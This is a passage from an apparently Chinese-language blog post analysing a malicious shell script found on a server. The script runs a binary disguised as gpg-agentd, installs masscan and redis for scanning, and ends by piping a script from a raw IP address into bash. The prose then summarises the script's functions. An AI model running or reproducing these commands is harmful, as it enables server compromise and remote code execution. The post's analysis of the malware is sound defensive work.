sleep 1
chmod +x /usr/bin/gpg-agentd && /usr/bin/gpg-agentd || rm -rf /usr/bin/gpg-agentd
sleep 1
if! [ -x "$(command -v masscan)"]; then
rm -rf /var/lib/apt/lists/*
rm -rf x1.tar.gz
if[ -x "$(command -v apt-get)"]; then
exportDEBIAN_FRONTEND=noninteractive
apt-get update -y
apt-get install -y debconf-doc
apt-get install -y build-essential
apt-get install -y libpcap0.8-dev libpcap0.8
apt-get install -y libpcap*
apt-get install -y make gcc git
apt-get install -y redis-server
apt-get install -y redis-tools
apt-get install -y redis
apt-get install -y iptables
apt-get install -y wget curl
fi
if[ -x "$(command -v yum)"]; then
yum update -y
yum install -y epel-release
yum update -y
yum install -y git iptables make gcc redis libpcap libpcap-devel
yum install -y wget curl
fi
sleep 1
curl -sL -o x1.tar.gz https://github.com/robertdavidgraham/masscan/archive/1.0.4.tar.gz
sleep 1
[ -f x1.tar.gz ] && tar zxf x1.tar.gz && cdmasscan-1.0.4 && make && make install && cd.. && rm -rf masscan-1.0.4
fi
sleep 3 && rm -rf .watch
bash -c 'curl -fsSL 159.89.190.243/rsh.php|bash'2>/dev/null
这段脚本的代码比较长,但主要的功能有 4 个:
- 下载远程代码到本地,添加执行权限,chmod u+x。
- 修改 rc.local,让本地代码开机自动执行。
- 下载 Github 上的开源扫描器代码,并安装相关的依赖软件,也就是我上面的 Messages 里看到的记录。
- 下载第三个脚本,并且执行。
我去 Github 上看了下这个开源代码,简直吊炸天: